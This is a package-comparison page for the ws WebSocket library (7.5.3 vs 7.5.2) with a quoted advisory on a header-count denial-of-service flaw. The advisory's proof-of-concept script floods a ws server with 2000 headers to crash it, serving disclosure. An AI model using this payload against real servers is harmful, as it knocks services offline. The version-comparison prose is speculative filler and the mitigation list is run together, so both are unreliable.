Ws version 7.5.3 represents a minor update to the popular WebSocket library, building upon the solid foundation established in version 7.5.2. Both versions retain the core characteristics that make ws attractive to developers: simplicity, speed, and thorough testing for both client and server-side WebSocket implementations in Node.js environments. Key features, such as a comprehensive API, reliable performance, and robust cross-browser compatibility, likely remain consistent between the two versions. The listed peer dependencies "bufferutil" and "utf-8-validate" are the same.
However, a crucial difference lies in the dist section, particularly the unpackedSize. Version 7.5.3 shows an unpacked size of 119149 bytes, subtly larger than the 116644 bytes reported for version 7.5.2. This increase could indicate the inclusion of bug fixes, performance improvements, minor feature enhancements, or refinements to the library's internal structure. Developers should investigate the changelog or release notes to understand exactly what changed. The release dates also represent important differences, since version 7.5.3 was released 6 days after 7.5.2. Keep this in mind if you are experiencing problems.
All the vulnerabilities related to the version 7.5.3 of the package
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.